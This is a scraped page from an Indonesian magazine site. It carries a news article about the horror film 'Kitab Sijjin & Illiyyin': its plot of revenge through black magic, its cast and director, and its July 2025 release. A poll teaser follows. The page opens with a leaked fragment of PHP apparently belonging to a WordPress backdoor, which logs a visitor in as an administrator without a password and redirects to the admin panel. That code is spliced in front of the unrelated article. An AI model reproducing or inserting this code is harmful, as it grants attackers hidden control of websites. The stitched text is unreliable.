user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Reviews
Kitab Sijjin & Illiyyin: Setiap Balas Dendam Ada Konsekuensinya

13 Jul 2025

Dinda Kanyadewi, Yunita Siregar, Djenar Maesa Ayu. Foto: Dok. thePUBLICIST


Siap-siap, para pencinta film horor! Rapi Films akan meluncurkan karya horor terbaru yang bikin bulu kuduk berdiri.

Berkolaborasi bersama Sky Media, Rhaya Flicks, Legacy Pictures, dan Narasi Semesta, Kitab Sijjin & Illiyyin siap meneror layar bioskop Tanah Air. 

Film ini akan mengeksplorasi tentang dendam serta konsekuensinya; ceritanya terinspirasi dua kitab yang mencatat setiap perbuatan manusia menurut ajaran Islam: Sijjin untuk mereka yang durhaka, dan Illiyyin untuk yang berbakti.

Film ini disutradarai Hadrah Daeng Ratu yang menghidupkan cerita dari skenario karya Lele Laila. Gope T. Samtani jadi produser film yang dalam produksinya tak lepas dari tantangan.

“Tantangan dalam membuat film adalah bagaimana membuatnya berbeda, lebih lokal, dan membumi. Selain itu, bagaimana membuat adegan-adegan horor yang intens, membuat ngilu dengan treatment sinematografi yang tidak banyak pergerakan tapi bisa menimbulkan kengerian saat menontonnya,” lanjut Hadrah, saat jumpa pers beberapa waktu lalu.
 
Balas dendam yang melahirkan kengerian. Foto: Rapi Films

Film ini berpusat pada karakter Yuli (Yunita Siregar) yang awalnya tulus dan baik. Namun setelah ia menghadapi tragedi kehilangan rumah, orang tua, dituduh anak selingkuhan, semua berbanding terbalik. Puncaknya adalah ketika Yuli diperlakukan layaknya pembantu oleh keluarga Ambar (Djenar Maesa Ayu). 
Advertisement

Rasa sakit hati mendorong Yuli menuju jalan gelap. Ia meminta bantuan seorang dukun untuk membalaskan dendamnya kepada anggota keluarga Ambar, yaitu Laras (Dinda Kanyadewi), Rudi (Tarra Budiman), Dean (Sulthan Hamonangan), dan Tika (Kawai Labiba).

Masalah lain terjadi ketika dukun meminta syarat yang tak main-main. Yuli dihadapkan pada sebuah ritual mengerikan seperti memasukkan nama-nama target santet ke dalam mayat yang baru meninggal. Segala rangkaian itu harus diselesaikan dalam waktu satu minggu.

“Film ini bisa memberi pesan-pesan positif dan menjadi pengingat untuk selalu berbuat baik dalam hidup kita. Semoga film ini bisa diterima oleh banyak orang dan menjadi berkah buat semuanya,” ujar Hadrah.

Akankah dendam Yuli terbalaskan, atau justru ia terjebak dalam lingkaran kengerian tak berujung? Saksikan jawabannya pada tanggal 17 Juli 2025 di bioskop kesayangan. (f)

Baca juga:
Narik Sukmo: Kisah Horor dengan Unsur Tari Tradisional
Godaan Setan yang Terkutuk: Film Tentang Rukiah Berbalut Tema Keluarga
Dark Nuns: Kekuatan Iman Melawan Setan yang Bertahan



Topic

#feminaindonesia, #reviews, #filmhoror

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?